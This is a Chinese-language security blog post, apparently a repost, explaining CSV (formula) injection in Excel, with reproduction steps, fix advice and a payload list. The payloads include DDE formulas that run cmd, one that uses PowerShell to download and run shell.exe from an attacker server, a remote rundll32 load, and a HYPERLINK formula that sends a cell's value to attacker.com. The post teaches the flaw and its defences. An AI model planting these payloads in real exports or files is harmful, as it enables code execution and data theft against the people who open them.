CSV注入

admin 2023年4月22日19:36:00评论51 views字数 1572阅读5分14秒阅读模式

CSV 介绍

CSV 是“Comma-Separated Values”的缩写,是一种常见的数据格式。CSV 文件通常包含一系列以逗号分隔的值,每个值都表示数据的一个字段。这种数据格式常用于将数据从一个应用程序或系统转移到另一个应用程序或系统,因为它易于生成和解析,并且不依赖于特定的操作系统或软件。

CSV 文件可以使用任何文本编辑器打开和编辑,也可以使用 Excel 打开。在 CSV 文件中,每个字段之间都用逗号分隔,行末通常用回车符和换行符表示。每一行表示数据的一条记录,每个字段表示记录中的一个属性。

举例如下,将如下内容保存为1.csv

Name, Age, Gender
Alice, 25, Female
Bob, 30, Male
Charlie, 40, Male

打开后如下

CSV注入
csv

漏洞介绍

既然是注入,就说明也是将恶意代码插入到某个地方,这里就是将恶意代码插入到 CSV 文件中。

当在 Excel 中打开 CSV 文件时,文件会从 CSV 描述转变为原始的 Excel 格式,包括 Excel 提供的所有动态功能。在这个过程中,CSV 中的所有 Excel 公式都会执行。

简单来说,如果单元格中的第一个字符是+-@=这些符号时,就会被当成公式来执行。

CSV 注入(公式注入)攻击就是利用了 Excel 软件的自动计算功能,以执行 Excel 公式中的代码。攻击者可以通过修改 CSV 文件中的内容,注入包含恶意代码的 Excel 公式,或者通过在 Excel 公式中使用外部数据源,将恶意代码注入到目标系统中,从而对用户实施攻击。

漏洞危害

主要攻击的是用户,对服务端几乎无影响

普通用户在打开恶意的 CSV 文件并忽略弹窗提示后,通常会造成如下危害:

  1. 命令执行
  2. 敏感信息泄漏

漏洞复现

命令执行

=1+cmd|' /C calc'!A0

编辑内容如下:

CSV注入
2.csv

打开文档

CSV注入
选择启用
CSV注入
选择是

这样就可以成功执行了系统命令

CSV注入
执行系统命令

信息泄漏

=HYPERLINK("http://attacker.com/?param1=value1&param2="&A1&"@attacker.com")

内容如下:

CSV注入
2.csv

打开 CSV 后,可见 A1 的值被添加到了 URL 中

CSV注入
A1

用户只要点击这个 URL,就会携带A1的值向恶意网站发起请求,造成信息泄漏。

修复建议

  • 单元格不以特殊字符开头:+-@=0x09(Tab)0x0D(回车)
  • 在生成 CSV 时,给每个字段前添加',且给每一个字段内容用双引号引起来
  • 加强员工安全意识培训,禁用 DDE 协议

常见漏洞点

如果网站存在导出 CSV 功能,且导出内容可控,那么我们就可以将可控的内容修改为 payload,让正常用户导出后打开,即可触发。

说明

如何开启 DDE

高版本的 office 默认禁止 DDE,无法执行,开启方法如下:

CSV注入
开启DDE

导出 xlsx 文件也存在这个问题吗

与 CSV 注入类似,也存在类似的问题,因为都是利用 Excel 公式语法执行系统命令。

实际危害大吗

不大,因为利用非常鸡肋,大多数 SRC 都不收。

各种 Payload

# RCE
=cmd|' /C calc'!A0
+cmd|' /C calc'!A0
-cmd|' /C calc'!A0
@SUM(cmd|'/c calc'!A0)

=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \10.0.0.1321.dll,0'!_xlbgnm.A1
=10+20+cmd|' /C calc'!A0
@SUM(1+9)*cmd|' /C calc'!A0

#
 信息泄漏
=HYPERLINK("http://attacker.com/?param1=value1&param2="&A1&"@attacker.com")

参考

  • CSV Injection


原文始发于微信公众号(初始安全):CSV注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月22日19:36:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CSV注入https://cn-sec.com/archives/1686916.html

发表评论

匿名网友 填写信息